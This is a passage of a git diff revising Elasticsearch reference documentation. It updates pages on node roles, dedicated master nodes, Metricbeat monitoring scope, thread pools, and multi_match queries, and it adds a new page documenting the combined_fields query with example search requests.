absolute maximum. Defaults to unbounded. diff --git a/docs/reference/modules/indices/recovery.asciidoc b/docs/reference/modules/indices/recovery.asciidoc index 9660f1f37e679..2fff28302e2bd 100644 --- a/docs/reference/modules/indices/recovery.asciidoc +++ b/docs/reference/modules/indices/recovery.asciidoc @@ -13,6 +13,7 @@ You can view a list of in-progress and completed recoveries using the <>. [discrete] +[[recovery-settings]] ==== Recovery settings `indices.recovery.max_bytes_per_sec`:: diff --git a/docs/reference/modules/indices/request_cache.asciidoc b/docs/reference/modules/indices/request_cache.asciidoc index 4504f1f4f368b..920d071eaf361 100644 --- a/docs/reference/modules/indices/request_cache.asciidoc +++ b/docs/reference/modules/indices/request_cache.asciidoc @@ -80,7 +80,7 @@ PUT /my-index-000001/_settings ==== Enabling and disabling caching per request The `request_cache` query-string parameter can be used to enable or disable -caching on a *per-request* basis. If set, it overrides the index-level setting: +caching on a *per-request* basis. If set, it overrides the index-level setting: [source,console] ----------------------------- @@ -105,7 +105,7 @@ query-string parameter detailed here. [discrete] ==== Cache key -The whole JSON body is used as the cache key. This means that if the JSON +The whole JSON body is used as the cache key. This means that if the JSON changes -- for instance if keys are output in a different order -- then the cache key will not be recognised. @@ -117,7 +117,7 @@ the application to ensure that a request is always serialized in the same way. ==== Cache settings The cache is managed at the node level, and has a default maximum size of `1%` -of the heap. This can be changed in the `config/elasticsearch.yml` file with: +of the heap. This can be changed in the `config/elasticsearch.yml` file with: [source,yaml] -------------------------------- @@ -125,7 +125,7 @@ indices.requests.cache.size: 2% -------------------------------- Also, you can use the +indices.requests.cache.expire+ setting to specify a TTL -for cached results, but there should be no reason to do so. Remember that +for cached results, but there should be no reason to do so. Remember that stale results are automatically invalidated when the index is refreshed. This setting is provided for completeness' sake only. diff --git a/docs/reference/modules/network.asciidoc b/docs/reference/modules/network.asciidoc index c5f0edda514f5..64a7d70666e81 100644 --- a/docs/reference/modules/network.asciidoc +++ b/docs/reference/modules/network.asciidoc @@ -177,7 +177,7 @@ different addresses for publishing and binding. The network address that clients and other nodes can use to contact this node. Accepts an IP address, a hostname, or a <>. Defaults to the address given by `network.host`. Use this setting only -if bindiing to multiple addresses or using different addresses for publishing +if binding to multiple addresses or using different addresses for publishing and binding. NOTE: You can specify a list of addresses for `network.host` and diff --git a/docs/reference/modules/node.asciidoc b/docs/reference/modules/node.asciidoc index ea4f95309132f..f2a6fdda5c0b5 100644 --- a/docs/reference/modules/node.asciidoc +++ b/docs/reference/modules/node.asciidoc @@ -17,8 +17,9 @@ requests to the appropriate node. [[node-roles]] ==== Node roles -You can define the roles of a node by setting `node.roles`. If you don't -configure this setting, the node has the following roles by default: +You define a node's roles by setting `node.roles` in `elasticsearch.yml`. If you +set `node.roles`, the node is only assigned the roles you specify. If you don't +set `node.roles`, the node is assigned the following roles: * `master` * `data` @@ -32,7 +33,18 @@ configure this setting, the node has the following roles by default: * `remote_cluster_client` * `transform` -NOTE: If you set `node.roles`, the node is assigned only the roles you specify. +[IMPORTANT] +==== +If you set `node.roles`, ensure you specify every node role your cluster needs. +Some {stack} features require specific node roles: + +- {ccs-cap} and {ccr} require the `remote_cluster_client` role. +- {stack-monitor-app} and ingest pipelines require the `ingest` role. +- {fleet}, the {security-app}, and {transforms} require the `transform` role. + The `remote_cluster_client` role is also required to use {ccs} with these + features. +- {ml-cap} features, such as {anomaly-detect}, require the `ml` role. +==== As the cluster grows and in particular if you have large {ml} jobs or {ctransforms}, consider separating dedicated master-eligible nodes from @@ -40,39 +52,38 @@ dedicated data nodes, {ml} nodes, and {transform} nodes. <>:: -A node that has the `master` role (default), which makes it eligible to be +A node that has the `master` role, which makes it eligible to be <>, which controls the cluster. <>:: -A node that has the `data` role (default). Data nodes hold data and perform data +A node that has the `data` role. Data nodes hold data and perform data related operations such as CRUD, search, and aggregations. A node with the `data` role can fill any of the specialised data node roles. <>:: -A node that has the `ingest` role (default). Ingest nodes are able to apply an -<> to a document in order to transform and enrich the +A node that has the `ingest` role. Ingest nodes are able to apply an +<> to a document in order to transform and enrich the document before indexing. With a heavy ingest load, it makes sense to use dedicated ingest nodes and to not include the `ingest` role from nodes that have the `master` or `data` roles. <>:: -A node that has the `remote_cluster_client` role (default), which makes it -eligible to act as a remote client. By default, any node in the cluster can act -as a cross-cluster client and connect to remote clusters. +A node that has the `remote_cluster_client` role, which makes it eligible to act +as a remote client. <>:: -A node that has `xpack.ml.enabled` and the `ml` role, which is the default -behavior in the {es} {default-dist}. If you want to use {ml-features}, there -must be at least one {ml} node in your cluster. For more information about -{ml-features}, see {ml-docs}/index.html[Machine learning in the {stack}]. +A node that has `xpack.ml.enabled` and the `ml` role. If you want to use +{ml-features}, there must be at least one {ml} node in your cluster. For more +information about {ml-features}, see {ml-docs}/index.html[Machine learning in +the {stack}]. <>:: A node that has the `transform` role. If you want to use {transforms}, there -be at least one {transform} node in your cluster. For more information, see +must be at least one {transform} node in your cluster. For more information, see <> and <>. [NOTE] @@ -86,8 +97,8 @@ phases which are coordinated by the node which receives the client request -- the _coordinating node_. In the _scatter_ phase, the coordinating node forwards the request to the data -nodes which hold the data. Each data node executes the request locally and -returns its results to the coordinating node. In the _gather_ phase, the +nodes which hold the data. Each data node executes the request locally and +returns its results to the coordinating node. In the _gather_ phase, the coordinating node reduces each data node's results into a single global result set. @@ -110,25 +121,30 @@ Any master-eligible node that is not a <> may be elected to become the master node by the <>. -IMPORTANT: Master nodes must have access to the `data/` directory (just like -`data` nodes) as this is where the cluster state is persisted between node -restarts. +IMPORTANT: Master nodes must have a `path.data` directory whose contents +persist across restarts, just like data nodes, because this is where the +cluster metadata is stored. The cluster metadata describes how to read the data +stored on the data nodes, so if it is lost then the data stored on the data +nodes cannot be read. [[dedicated-master-node]] ===== Dedicated master-eligible node It is important for the health of the cluster that the elected master node has the resources it needs to fulfill its responsibilities. If the elected master -node is overloaded with other tasks then the cluster may not operate well. In -particular, indexing and searching your data can be very resource-intensive, so -in large or high-throughput clusters it is a good idea to avoid using the -master-eligible nodes for tasks such as indexing and searching. You can do this -by configuring three of your nodes to be dedicated master-eligible nodes. -Dedicated master-eligible nodes only have the `master` role, allowing them to -focus on managing the cluster. While master nodes can also behave as -<> and route search and indexing requests -from clients to data nodes, it is better _not_ to use dedicated master nodes for -this purpose. +node is overloaded with other tasks then the cluster will not operate well. The +most reliable way to avoid overloading the master with other tasks is to +configure all the master-eligible nodes to be _dedicated master-eligible nodes_ +which only have the `master` role, allowing them to focus on managing the +cluster. Master-eligible nodes will still also behave as +<> that route requests from clients to +the other nodes in the cluster, but you should _not_ use dedicated master nodes +for this purpose. + +A small or lightly-loaded cluster may operate well if its master-eligible nodes +have other roles and responsibilities, but once your cluster comprises more +than a handful of nodes it usually makes sense to use dedicated master-eligible +nodes. To create a dedicated master-eligible node, set: @@ -161,10 +177,8 @@ node: node.roles: [ data, master, voting_only ] ------------------- -IMPORTANT: The `voting_only` role requires the {default-dist} of {es} and is not -supported in the {oss-dist}. If you use the {oss-dist} and add the `voting_only` -role then the node will fail to start. Also note that only nodes with the -`master` role can be marked as having the `voting_only` role. +IMPORTANT: Only nodes with the `master` role can be marked as having the +`voting_only` role. High availability (HA) clusters require at least three master-eligible nodes, at least two of which are not voting-only nodes. Such a cluster will be able to @@ -181,7 +195,7 @@ Voting-only master-eligible nodes may also fill other roles in your cluster. For instance, a node may be both a data node and a voting-only master-eligible node. A _dedicated_ voting-only master-eligible nodes is a voting-only master-eligible node that fills no other roles in the cluster. To create a -dedicated voting-only master-eligible node in the {default-dist}, set: +dedicated voting-only master-eligible node, set: [source,yaml] ------------------- @@ -261,12 +275,11 @@ node.roles: [ data_cold ] [[data-frozen-node]] ==== [x-pack]#Frozen data node# -Frozen data nodes store read-only indices that are accessed rarely. Nodes in the -frozen tier use less performant hardware than the cold tier. To minimize -resources, indices in the frozen tier may rely on searchable snapshots for -resiliency. +The frozen tier stores <> +exclusively. We recommend you use dedicated nodes in the frozen tier. To create a dedicated frozen node, set: + [source,yaml] ---- node.roles: [ data_frozen ] @@ -296,7 +309,7 @@ can only route requests, handle the search reduce phase, and distribute bulk indexing. Essentially, coordinating only nodes behave as smart load balancers. Coordinating only nodes can benefit large clusters by offloading the -coordinating node role from data and master-eligible nodes. They join the +coordinating node role from data and master-eligible nodes. They join the cluster and receive the full <>, like every other node, and they use the cluster state to route requests directly to the appropriate place(s). @@ -317,8 +330,8 @@ node.roles: [ ] [[remote-node]] ==== Remote-eligible node -By default, any node in a cluster can act as a cross-cluster client and connect -to <>. Once connected, you can search +A remote-eligible node acts as a cross-cluster client and connects to +<>. Once connected, you can search remote clusters using <>. You can also sync data between clusters using <>. @@ -341,7 +354,7 @@ coordinating nodes. For more information about these settings, see <>. -To create a dedicated {ml} node in the {default-dist}, set: +To create a dedicated {ml} node, set: [source,yaml] ---- @@ -352,13 +365,17 @@ xpack.ml.enabled: true <2> Otherwise, {ccs} fails when used in {ml} jobs or {dfeeds}. See <>. <2> The `xpack.ml.enabled` setting is enabled by default. +NOTE: If you use {ccs} in your {anomaly-jobs}, the `remote_cluster_client` role +is also required on all master-eligible nodes. Otherwise, the {dfeed} cannot +start. + [[transform-node]] ==== [xpack]#{transform-cap} node# {transform-cap} nodes run {transforms} and handle {transform} API requests. For more information, see <>. -To create a dedicated {transform} node in the {default-dist}, set: +To create a dedicated {transform} node, set: [source,yaml] ---- diff --git a/docs/reference/modules/remote-clusters.asciidoc b/docs/reference/modules/remote-clusters.asciidoc index be0b76aaa2743..923580133a76d 100644 --- a/docs/reference/modules/remote-clusters.asciidoc +++ b/docs/reference/modules/remote-clusters.asciidoc @@ -258,13 +258,16 @@ separately. The time to wait for remote connections to be established when the node starts. The default is `30s`. -`node.remote_cluster_client`:: +`remote_cluster_client` <>:: By default, any node in the cluster can act as a cross-cluster client and - connect to remote clusters. The `node.remote_cluster_client` setting can be - set to `false` (defaults to `true`) to prevent certain nodes from connecting - to remote clusters. Remote cluster requests must be sent to a node that is - allowed to act as a cross-cluster client. + connect to remote clusters. To prevent a node from connecting to remote + clusters, specify the <> setting in `elasticsearch.yml` + and exclude `remote_cluster_client` from the listed roles. Search requests + targeting remote clusters must be sent to a node that is allowed to act as a + cross-cluster client. Other features such as {ml} <>, <>, and + <> require the `remote_cluster_client` role. `cluster.remote..skip_unavailable`:: @@ -329,6 +332,6 @@ separately. An optional hostname string which is sent in the `server_name` field of the TLS Server Name Indication extension if - <>. The TLS transport will fail to open + <>. The TLS transport will fail to open remote connections if this field is not a valid hostname as defined by the TLS SNI specification. diff --git a/docs/reference/modules/threadpool.asciidoc b/docs/reference/modules/threadpool.asciidoc index 54e6fb5d133fa..b130d3b217979 100644 --- a/docs/reference/modules/threadpool.asciidoc +++ b/docs/reference/modules/threadpool.asciidoc @@ -41,6 +41,11 @@ There are several thread pools, but the important ones include: keep-alive of `5m` and a max of `min(5, (`<>`) / 2)`. +`snapshot_meta`:: + For snapshot repository metadata read operations. Thread pool type is `scaling` with a + keep-alive of `5m` and a max of `min(50, (`<>` pass:[ * ]3))`. + `warmer`:: For segment warm-up operations. Thread pool type is `scaling` with a keep-alive of `5m` and a max of `min(5, (`<>, you must use the HTTPS protocol in +<>, you must use the HTTPS protocol in the `host` setting. You must also specify the trusted CA certificates that will be used to verify the identity of the nodes in the monitoring cluster. diff --git a/docs/reference/monitoring/configuring-metricbeat.asciidoc b/docs/reference/monitoring/configuring-metricbeat.asciidoc index cd51a86774838..0fa1e26546e99 100644 --- a/docs/reference/monitoring/configuring-metricbeat.asciidoc +++ b/docs/reference/monitoring/configuring-metricbeat.asciidoc @@ -42,8 +42,18 @@ view the cluster settings and `manage` cluster privileges to change them. For more information, see <> and <>. -- -. {metricbeat-ref}/metricbeat-installation-configuration.html[Install {metricbeat}] on each -{es} node in the production cluster. Failure to install on each node may result in incomplete or missing results. +. {metricbeat-ref}/metricbeat-installation-configuration.html[Install +{metricbeat}]. Ideally install a single {metricbeat} instance configured with +`scope: cluster` and configure `hosts` to point to an endpoint (e.g. a +load-balancing proxy) which directs requests to the master-ineligible nodes in +the cluster. If this is not possible then install one {metricbeat} instance for +each {es} node in the production cluster and use the default `scope: node`. +When {metricbeat} is monitoring {es} with `scope: node` then you must install a +{metricbeat} instance for each {es} node. If you don't, some metrics will not +be collected. {metricbeat} with `scope: node` collects most of the metrics from +the elected master of the cluster, so you must scale up all your +master-eligible nodes to account for this extra load and you should not use +this mode if you have dedicated master nodes. . Enable the {es} module in {metricbeat} on each {es} node. + @@ -86,9 +96,12 @@ update the `hosts` setting. If you configured {es} to use encrypted communications, you must access it via HTTPS. For example, use a `hosts` setting like `https://localhost:9200`. <2> By default, `scope` is set to `node` and each entry in the `hosts` list -indicates a distinct node in an {es} cluster. If you set `scope` to `cluster`, -each entry in the `hosts` list indicates a single endpoint for a distinct {es} -cluster (for example, a load-balancing proxy fronting the cluster). +indicates a distinct node in an {es} cluster. If you set `scope` to `cluster` +then each entry in the `hosts` list indicates a single endpoint for a distinct +{es} cluster (for example, a load-balancing proxy fronting the cluster). You +should use `scope: cluster` if the cluster has dedicated master nodes, and +configure the endpoint in the `hosts` list not to direct requests to the +dedicated master nodes. If Elastic {security-features} are enabled, you must also provide a user ID and password so that {metricbeat} can collect metrics successfully: @@ -190,7 +203,7 @@ PUT _cluster/settings ---------------------------------- If {es} {security-features} are enabled, you must have `monitor` cluster -privileges to view the cluster settings and `manage` cluster privileges +privileges to view the cluster settings and `manage` cluster privileges to change them. -- diff --git a/docs/reference/query-dsl.asciidoc b/docs/reference/query-dsl.asciidoc index 6e7d3527f91a0..35af3104d0594 100644 --- a/docs/reference/query-dsl.asciidoc +++ b/docs/reference/query-dsl.asciidoc @@ -12,7 +12,7 @@ Leaf query clauses:: Leaf query clauses look for a particular value in a particular field, such as the <>, <> or -<> queries. These queries can be used +<> queries. These queries can be used by themselves. Compound query clauses:: @@ -30,19 +30,30 @@ Query clauses behave differently depending on whether they are used in Allow expensive queries:: Certain types of queries will generally execute slowly due to the way they are implemented, which can affect the stability of the cluster. Those queries can be categorised as follows: + * Queries that need to do linear scans to identify matches: -** <> -* Queries that have a high up-front cost : -** <> (except on <> fields) -** <> (except on <> fields) -** <> (except on <> fields or those without <>) -** <> (except on <> fields) -** <> on <> and <> fields -* <> -* Queries on <> +** <> + +* Queries that have a high up-front cost: +** <> (except on + <> fields) +** <> (except on + <> fields) +** <> (except on + <> fields or those without + <>) +** <> (except on + <> fields) +** <> on <> and + <> fields + +* <> + +* Queries on <> + * Queries that may have a high per-document cost: -** <> -** <> +** <> +** <> The execution of such queries can be prevented by setting the value of the `search.allow_expensive_queries` setting to `false` (defaults to `true`). diff --git a/docs/reference/query-dsl/bool-query.asciidoc b/docs/reference/query-dsl/bool-query.asciidoc index 1a78e131e01a4..3eaee4335f02d 100644 --- a/docs/reference/query-dsl/bool-query.asciidoc +++ b/docs/reference/query-dsl/bool-query.asciidoc @@ -23,7 +23,7 @@ and clauses are considered for caching. |`should` |The clause (query) should appear in the matching document. |`must_not` |The clause (query) must not appear in the matching -documents. Clauses are executed in <> meaning +documents. Clauses are executed in <> meaning that scoring is ignored and clauses are considered for caching. Because scoring is ignored, a score of `0` for all documents is returned. |======================================================================= @@ -77,8 +77,8 @@ For other valid values, see the ==== Scoring with `bool.filter` Queries specified under the `filter` element have no effect on scoring -- -scores are returned as `0`. Scores are only affected by the query that has -been specified. For instance, all three of the following queries return +scores are returned as `0`. Scores are only affected by the query that has +been specified. For instance, all three of the following queries return all documents where the `status` field contains the term `active`. This first query assigns a score of `0` to all documents, as no scoring diff --git a/docs/reference/query-dsl/combined-fields-query.asciidoc b/docs/reference/query-dsl/combined-fields-query.asciidoc new file mode 100644 index 0000000000000..390d71276cf3d --- /dev/null +++ b/docs/reference/query-dsl/combined-fields-query.asciidoc @@ -0,0 +1,185 @@ +[[query-dsl-combined-fields-query]] +=== Combined fields +++++ +Combined fields +++++ + +The `combined_fields` query supports searching multiple text fields as if their +contents had been indexed into one combined field. It takes a term-centric +view of the query: first it analyzes the query string into individual terms, +then looks for each term in any of the fields. This query is particularly +useful when a match could span multiple text fields, for example the `title`, +`abstract` and `body` of an article: + +[source,console] +-------------------------------------------------- +GET /_search +{ + "query": { + "combined_fields" : { + "query": "database systems", + "fields": [ "title", "abstract", "body"], + "operator": "and" + } + } +} +-------------------------------------------------- + +The `combined_fields` query takes a principled approach to scoring based on the +simple BM25F formula described in +http://www.staff.city.ac.uk/~sb317/papers/foundations_bm25_review.pdf[The Probabilistic Relevance Framework: BM25 and Beyond]. +When scoring matches, the query combines term and collection statistics across +fields. This allows it to score each match as if the specified fields had been +indexed into a single combined field. (Note that this is a best attempt -- +`combined_fields` makes some approximations and scores will not obey this +model perfectly.) + +[WARNING] +.Field number limit +=================================================== +There is a limit on the number of fields that can be queried at once. It is +defined by the `indices.query.bool.max_clause_count` <> +which defaults to 1024. +=================================================== + +==== Per-field boosting + +Individual fields can be boosted with the caret (`^`) notation: + +[source,console] +-------------------------------------------------- +GET /_search +{ + "query": { + "combined_fields" : { + "query" : "distributed consensus", + "fields" : [ "title^2", "body" ] <1> + } + } +} +-------------------------------------------------- + +Field boosts are interpreted according to the combined field model. For example, +if the `title` field has a boost of 2, the score is calculated as if each term +in the title appeared twice in the synthetic combined field. + +NOTE: The `combined_fields` query requires that field boosts are greater than +or equal to 1.0. Field boosts are allowed to be fractional. + +[[combined-field-top-level-params]] +==== Top-level parameters for `combined_fields` + +`fields`:: +(Required, array of strings) List of fields to search. Field wildcard patterns +are allowed. Only <> fields are supported, and they must all have +the same search <>. + +`query`:: ++ +-- +(Required, string) Text to search for in the provided ``. + +The `combined_fields` query <> the provided text before +performing a search. +-- + +`auto_generate_synonyms_phrase_query`:: ++ +-- +(Optional, Boolean) If `true`, <> +queries are automatically created for multi-term synonyms. Defaults to `true`. + +See <> for an +example. +-- + +`operator`:: ++ +-- +(Optional, string) Boolean logic used to interpret text in the `query` value. +Valid values are: + +`or` (Default):: +For example, a `query` value of `database systems` is interpreted as `database +OR systems`. + +`and`:: +For example, a `query` value of `database systems` is interpreted as `database +AND systems`. +-- + +`minimum_should_match`:: ++ +-- +(Optional, string) Minimum number of clauses that must match for a document to +be returned. See the <> for valid values and more information. +-- + +`zero_terms_query`:: ++ +-- +(Optional, string) Indicates whether no documents are returned if the `analyzer` +removes all tokens, such as when using a `stop` filter. Valid values are: + +`none` (Default):: +No documents are returned if the `analyzer` removes all tokens. + +`all`:: +Returns all documents, similar to a <> +query. + +See <> for an example. +-- + +===== Comparison to `multi_match` query + +The `combined_fields` query provides a principled way of matching and scoring +across multiple <> fields. To support this, it requires that all +fields have the same search <>. + +If you want a single query that handles fields of different types like +keywords or numbers, then the <> +query may be a better fit. It supports both text and non-text fields, and +accepts text fields that do not share the same analyzer. + +The main `multi_match` modes `best_fields` and `most_fields` take a +field-centric view of the query. In contrast, `combined_fields` is +term-centric: `operator` and `minimum_should_match` are applied per-term, +instead of per-field. Concretely, a query like + +[source,console] +-------------------------------------------------- +GET /_search +{ + "query": { + "combined_fields" : { + "query": "database systems", + "fields": [ "title", "abstract"], + "operator": "and" + } + } +} +-------------------------------------------------- + +is executed as + + +(combined("database", fields:["title" "abstract"])) + +(combined("systems", fields:["title", "abstract"])) + +In other words, each term must be present in at least one field for a +document to match. + +The `cross_fields` `multi_match` mode also takes a term-centric approach and +applies `operator` and `minimum_should_match per-term`. The main advantage of +`combined_fields` over `cross_fields` is its robust and interpretable approach +to scoring based on the BM25F algorithm. + +[NOTE] +.Custom similarities +=================================================== +The `combined_fields` query currently only supports the `BM25` similarity +(which is the default unless a <> +is configured). <> are also not allowed. +Using `combined_fields` in either of these cases will result in an error. +=================================================== diff --git a/docs/reference/query-dsl/compound-queries.asciidoc b/docs/reference/query-dsl/compound-queries.asciidoc index d156950e35579..4bc8276ddb3ea 100644 --- a/docs/reference/query-dsl/compound-queries.asciidoc +++ b/docs/reference/query-dsl/compound-queries.asciidoc @@ -9,7 +9,7 @@ The queries in this group are: <>:: The default query for combining multiple leaf or compound query clauses, as -`must`, `should`, `must_not`, or `filter` clauses. The `must` and `should` +`must`, `should`, `must_not`, or `filter` clauses. The `must` and `should` clauses have their scores combined -- the more matching clauses, the better -- while the `must_not` and `filter` clauses are executed in filter context. @@ -18,12 +18,12 @@ Return documents which match a `positive` query, but reduce the score of documents which also match a `negative` query. <>:: -A query which wraps another query, but executes it in filter context. All +A query which wraps another query, but executes it in filter context. All matching documents are given the same ``constant'' `_score`. <>:: A query which accepts multiple queries, and returns any documents which match -any of the query clauses. While the `bool` query combines the scores from all +any of the query clauses. While the `bool` query combines the scores from all matching queries, the `dis_max` query uses the score of the single best- matching query clause. diff --git a/docs/reference/query-dsl/full-text-queries.asciidoc b/docs/reference/query-dsl/full-text-queries.asciidoc index e649fbae6f270..0a7caa56e2b54 100644 --- a/docs/reference/query-dsl/full-text-queries.asciidoc +++ b/docs/reference/query-dsl/full-text-queries.asciidoc @@ -1,9 +1,9 @@ [[full-text-queries]] == Full text queries -The full text queries enable you to search <> such as the -body of an email. The query string is processed using the same analyzer that was applied to -the field during indexing. +The full text queries enable you to search <> such as the +body of an email. The query string is processed using the same analyzer that was applied to +the field during indexing. The queries in this group are: @@ -21,13 +21,16 @@ the last term, which is matched as a `prefix` query <>:: Like the `match` query but used for matching exact phrases or word proximity matches. - + <>:: Like the `match_phrase` query, but does a wildcard search on the final word. - + <>:: The multi-field version of the `match` query. +<>:: +Matches over multiple fields as if they had been indexed into one combined field. + <>:: Supports the compact Lucene <>, allowing you to specify AND|OR|NOT conditions and multi-field search @@ -48,8 +51,10 @@ include::match-phrase-query.asciidoc[] include::match-phrase-prefix-query.asciidoc[] +include::combined-fields-query.asciidoc[] + include::multi-match-query.asciidoc[] include::query-string-query.asciidoc[] -include::simple-query-string-query.asciidoc[] \ No newline at end of file +include::simple-query-string-query.asciidoc[] diff --git a/docs/reference/query-dsl/function-score-query.asciidoc b/docs/reference/query-dsl/function-score-query.asciidoc index 9e742c90a552c..e377bb74b0149 100644 --- a/docs/reference/query-dsl/function-score-query.asciidoc +++ b/docs/reference/query-dsl/function-score-query.asciidoc @@ -536,7 +536,7 @@ In this case your *origin* for the location field is the town center and the *scale* is ~2km. If your budget is low, you would probably prefer something cheap above -something expensive. For the price field, the *origin* would be 0 Euros +something expensive. For the price field, the *origin* would be 0 Euros and the *scale* depends on how much you are willing to pay, for example 20 Euros. In this example, the fields might be called "price" for the price of the diff --git a/docs/reference/query-dsl/geo-polygon-query.asciidoc b/docs/reference/query-dsl/geo-polygon-query.asciidoc index 88761f59b0bbc..dbe9adb0e2026 100644 --- a/docs/reference/query-dsl/geo-polygon-query.asciidoc +++ b/docs/reference/query-dsl/geo-polygon-query.asciidoc @@ -3,9 +3,7 @@ ++++ Geo-polygon ++++ - -deprecated[7.12.0,"Use <> instead, -where polygons are defined in geojson or wkt."] +deprecated::[7.12,Use <> instead where polygons are defined in GeoJSON or http://docs.opengeospatial.org/is/18-010r7/18-010r7.html[Well-Known Text (WKT)].] A query returning hits that only fall within a polygon of points. Here is an example: diff --git a/docs/reference/query-dsl/intervals-query.asciidoc b/docs/reference/query-dsl/intervals-query.asciidoc index 6970b2b54e108..63ba4046a395d 100644 --- a/docs/reference/query-dsl/intervals-query.asciidoc +++ b/docs/reference/query-dsl/intervals-query.asciidoc @@ -182,14 +182,14 @@ The `pattern` is normalized using the search analyzer from this field, unless ==== `fuzzy` rule parameters The `fuzzy` rule matches terms that are similar to the provided term, within an -edit distance defined by <>. If the fuzzy expansion matches more than +edit distance defined by <>. If the fuzzy expansion matches more than 128 terms, {es} returns an error. `term`:: (Required, string) The term to match `prefix_length`:: -(Optional, string) Number of beginning characters left unchanged when creating +(Optional, integer) Number of beginning characters left unchanged when creating expansions. Defaults to `0`. `transpositions`:: @@ -198,7 +198,7 @@ adjacent characters (ab → ba). Defaults to `true`. `fuzziness`:: (Optional, string) Maximum edit distance allowed for matching. See <> -for valid values and more information. Defaults to `auto`. +for valid values and more information. Defaults to `auto`. `analyzer`:: (Optional, string) <> used to normalize the `term`. diff --git a/docs/reference/query-dsl/joining-queries.asciidoc b/docs/reference/query-dsl/joining-queries.asciidoc index f10c2bda6037e..c5d043c3b80c6 100644 --- a/docs/reference/query-dsl/joining-queries.asciidoc +++ b/docs/reference/query-dsl/joining-queries.asciidoc @@ -2,7 +2,7 @@ == Joining queries Performing full SQL-style joins in a distributed system like Elasticsearch is -prohibitively expensive. Instead, Elasticsearch offers two forms of join +prohibitively expensive. Instead, Elasticsearch offers two forms of join which are designed to scale horizontally. <>:: diff --git a/docs/reference/query-dsl/mlt-query.asciidoc b/docs/reference/query-dsl/mlt-query.asciidoc index 2cd940493d88b..8550a34efaa4d 100644 --- a/docs/reference/query-dsl/mlt-query.asciidoc +++ b/docs/reference/query-dsl/mlt-query.asciidoc @@ -175,7 +175,10 @@ for documents `like: "Apple"`, but `unlike: "cake crumble tree"`. The syntax is the same as `like`. `fields`:: -A list of fields to fetch and analyze the text from. +A list of fields to fetch and analyze the text from. Defaults to the +`index.query.default_field` index setting, which has a default value of `*`. The +`*` value matches all fields eligible for <>, excluding metadata fields. [discrete] [[mlt-query-term-selection]] diff --git a/docs/reference/query-dsl/multi-match-query.asciidoc b/docs/reference/query-dsl/multi-match-query.asciidoc index 9ecac3f4c490e..d155e5a05c1a9 100644 --- a/docs/reference/query-dsl/multi-match-query.asciidoc +++ b/docs/reference/query-dsl/multi-match-query.asciidoc @@ -80,20 +80,20 @@ parameter, which can be set to: [horizontal] `best_fields`:: (*default*) Finds documents which match any field, but - uses the `_score` from the best field. See <>. + uses the `_score` from the best field. See <>. `most_fields`:: Finds documents which match any field and combines - the `_score` from each field. See <>. + the `_score` from each field. See <>. `cross_fields`:: Treats fields with the same `analyzer` as though they were one big field. Looks for each word in *any* field. See <>. `phrase`:: Runs a `match_phrase` query on each field and uses the `_score` - from the best field. See <>. + from the best field. See <>. `phrase_prefix`:: Runs a `match_phrase_prefix` query on each field and uses - the `_score` from the best field. See <>. + the `_score` from the best field. See <>. `bool_prefix`:: Creates a `match_bool_prefix` query on each field and combines the `_score` from each field. See @@ -108,7 +108,7 @@ field is more meaningful than ``brown'' in one field and ``fox'' in the other. The `best_fields` type generates a <> for each field and wraps them in a <> query, to -find the single best matching field. For instance, this query: +find the single best matching field. For instance, this query: [source,console] -------------------------------------------------- @@ -161,7 +161,7 @@ as explained in <>. =================================================== The `best_fields` and `most_fields` types are _field-centric_ -- they generate -a `match` query *per field*. This means that the `operator` and +a `match` query *per field*. This means that the `operator` and `minimum_should_match` parameters are applied to each field individually, which is probably not what you want. @@ -192,7 +192,10 @@ This query is executed as: In other words, *all terms* must be present *in a single field* for a document to match. -See <> for a better solution. +The <> query offers a +term-centric approach that handles `operator` and `minimum_should_match` on a +per-term basis. The other multi-match mode <> also +addresses this issue. =================================================== @@ -200,7 +203,7 @@ See <> for a better solution. ==== `most_fields` The `most_fields` type is most useful when querying multiple fields that -contain the same text analyzed in different ways. For instance, the main +contain the same text analyzed in different ways. For instance, the main field may contain synonyms, stemming and terms without diacritics. A second field may contain the original terms, and a third field might contain shingles. By combining scores from all three fields we can match as many @@ -302,7 +305,7 @@ The `fuzziness` parameter cannot be used with the `phrase` or `phrase_prefix` ty ==== `cross_fields` The `cross_fields` type is particularly useful with structured documents where -multiple fields *should* match. For instance, when querying the `first_name` +multiple fields *should* match. For instance, when querying the `first_name` and `last_name` fields for ``Will Smith'', the best match is likely to have ``Will'' in one field and ``Smith'' in the other. @@ -314,7 +317,7 @@ with that approach. The first problem is that `operator` and <>). The second problem is to do with relevance: the different term frequencies in -the `first_name` and `last_name` fields can produce unexpected results. +the `first_name` and `last_name` fields can produce unexpected results. For instance, imagine we have two people: ``Will Smith'' and ``Smith Jones''. ``Smith'' as a last name is very common (and so is of low importance) but @@ -328,11 +331,11 @@ probably appear above the better matching ``Will Smith'' because the score of **** One way of dealing with these types of queries is simply to index the -`first_name` and `last_name` fields into a single `full_name` field. Of +`first_name` and `last_name` fields into a single `full_name` field. Of course, this can only be done at index time. The `cross_field` type tries to solve these problems at query time by taking a -_term-centric_ approach. It first analyzes the query string into individual +_term-centric_ approach. It first analyzes the query string into individual terms, then looks for each term in any of the fields, as though they were one big field. @@ -355,7 +358,7 @@ GET /_search is executed as: - +(first_name:will last_name:will) + +(first_name:will last_name:will) +(first_name:smith last_name:smith) In other words, *all terms* must be present *in at least one field* for a @@ -385,13 +388,19 @@ explanation: Also, accepts `analyzer`, `boost`, `operator`, `minimum_should_match`, `lenient` and `zero_terms_query`. +WARNING: The `cross_fields` type blends field statistics in a way that does +not always produce well-formed scores (for example scores can become +negative). As an alternative, you can consider the +<> query, which is also +term-centric but combines field statistics in a more robust way. + [[cross-field-analysis]] ===== `cross_field` and analysis The `cross_field` type can only work in term-centric mode on fields that have the same analyzer. Fields with the same analyzer are grouped together as in -the example above. If there are multiple groups, they are combined with a -`bool` query. +the example above. If there are multiple groups, the query will use the best +score from any group. For instance, if we have a `first` and `last` field which have the same analyzer, plus a `first.edge` and `last.edge` which @@ -432,7 +441,7 @@ Having multiple groups is fine, but when combined with `operator` or as `most_fields` or `best_fields`. You can easily rewrite this query yourself as two separate `cross_fields` -queries combined with a `bool` query, and apply the `minimum_should_match` +queries combined with a `dis_max` query, and apply the `minimum_should_match` parameter to just one of them: [source,console] @@ -440,8 +449,8 @@ parameter to just one of them: GET /_search { "query": { - "bool": { - "should": [ + "dis_max": { + "queries": [ { "multi_match" : { "query": "Will Smith", @@ -495,19 +504,17 @@ which will be executed as: ===== `tie_breaker` By default, each per-term `blended` query will use the best score returned by -any field in a group, then these scores are added together to give the final -score. The `tie_breaker` parameter can change the 